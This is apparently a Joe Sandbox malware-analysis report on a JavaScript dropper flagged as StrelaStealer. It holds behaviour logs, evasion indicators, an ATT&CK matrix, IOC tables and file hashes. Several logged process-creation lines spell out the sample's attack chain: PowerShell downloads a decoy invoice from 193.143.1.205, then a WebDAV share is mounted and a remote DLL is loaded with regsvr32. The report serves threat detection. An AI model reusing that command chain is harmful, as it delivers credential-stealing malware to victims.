Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4134			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5755			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7052	Thread sleep count: 4134 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7052	Thread sleep count: 5755 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6208	Thread sleep time: -10145709240540247s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1384	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 1648	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 1704	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.1432669459.000001D6FF8C8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
Source: net.exe, 00000007.00000002.1435965599.000001D6FF92D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1413604785.000001D6FF92D000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2648516003.000002741E82B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2649872523.0000027423E5A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000007.00000002.1435965599.000001D6FF92D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1413604785.000001D6FF92D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW5aULqx

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30941375311159.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30941375311159.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30941375311159.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30941375311159.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30941375311159.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	Junk Data	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Steganography	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
4328285711855619485.js	7%	Virustotal		Browse
4328285711855619485.js	5%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/tce	0%	Avira URL Cloud	safe

Name	Source	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	wscript.exe, 00000000.00000002.1356529557.00000229EC009000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1356626830.00000229EDD30000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.2649775884.0000027423E00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://www.adobe.co	ReaderMessages.5.dr	false		high
https://g.live.com/odclientsettings/Prod-C:	qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1435063398.000001D6FF91C000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1435063398.000001D6FF8F9000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1413604785.000001D6FF91A000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1419904338.000001D6FF8F9000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1432669459.000001D6FF8C8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/tce	net.exe, 00000007.00000002.1432669459.000001D6FF8C8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/ProdV2-C:	svchost.exe, 00000009.00000003.1419684655.0000027423CA0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false		high
http://193.143.1.205:8888/n	net.exe, 00000007.00000002.1435063398.000001D6FF8F9000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1419904338.000001D6FF8F9000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588598
Start date and time:	2025-01-11 02:57:52 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 14s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	4328285711855619485.js
Detection:	MAL
Classification:	mal100.rans.spyw.expl.evad.winJS@27/61@0/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 18.213.11.84, 50.16.47.176, 54.224.241.105, 34.237.241.83, 162.159.61.3, 172.64.41.3, 184.28.90.27, 2.16.168.107, 2.16.168.105, 23.209.209.135, 199.232.210.172, 23.200.0.21, 23.200.0.33, 192.168.2.9, 13.107.246.45, 20.12.23.50, 23.217.172.185
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, slscr.update.microsoft.com, otelrules.afd.azureedge.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, ocsp.digicert.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net, fs.microsoft.com, otelrules.azureedge.net, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com.delivery.microsoft.com, ctldl.windowsupdate.com, p13n.adobe.io, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, azureedge-t-prod.trafficmanager.net, geo2.adobe.com
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

Time	Type	Description
20:58:46	API Interceptor	23x Sleep call for process: powershell.exe modified
20:58:50	API Interceptor	1x Sleep call for process: net.exe modified
20:58:50	API Interceptor	2x Sleep call for process: svchost.exe modified
20:59:03	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	2556095152538830312.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	23754232101540928500.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	279482651296229246.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	28020210762342129909.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2024032514221887775.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	225111419252504808.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1601021956623126375.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	22346161431640618987.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	5749110051971019035.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2279239302728123306.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	2556095152538830312.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	23754232101540928500.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	5442228522728832446.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	279482651296229246.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	28020210762342129909.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2024032514221887775.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	225111419252504808.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	78786270533822124.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	212032324439912626.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1601021956623126375.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.49320649168148245
Encrypted:	false
SSDEEP:	1536:cJNnm0h6QV70hV40h5RJkS6SNJNJbSMeCXhtvKTeYYJyNtEBRDna33JnbgY1Ztao:cJhXC9lHmutpJyiRDeJ/aUKrDgnmi
MD5:	76782FEB8C381AB8F5A02DFEF8478181
SHA1:	D73850CD293541F77531B3EB7D59DA03D25F9A1D
SHA-256:	8371C84C02D90B4844064166DE690DD0C918070C41ED4F60226C3B09FF2F31F3
SHA-512:	5A4EE4DEE406B49CF1EF25536B08C210645E2D6A98C9D95E94824104DF3D6E87DA605454A465546B709405757359817A5968A9850F1A40BB64CB3498DE23EB0E
Malicious:	false
Preview:	^.;V........@..@-....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@...................................&.#.\.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x35296af5, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7216705852444428
Encrypted:	false
SSDEEP:	1536:TSB2ESB2SSjlK/Tv5m0hnRJjAVtu8Ykr3g16tV2UPkLk+kcBLZiAcZwytuknSDVd:TazaNvFv8V2UW/DLzN/w4wZi
MD5:	622431D1982EB66E145D71911BF6BDB6
SHA1:	B772DE5429BFAFDA519B675B542AEB733D50A0DE
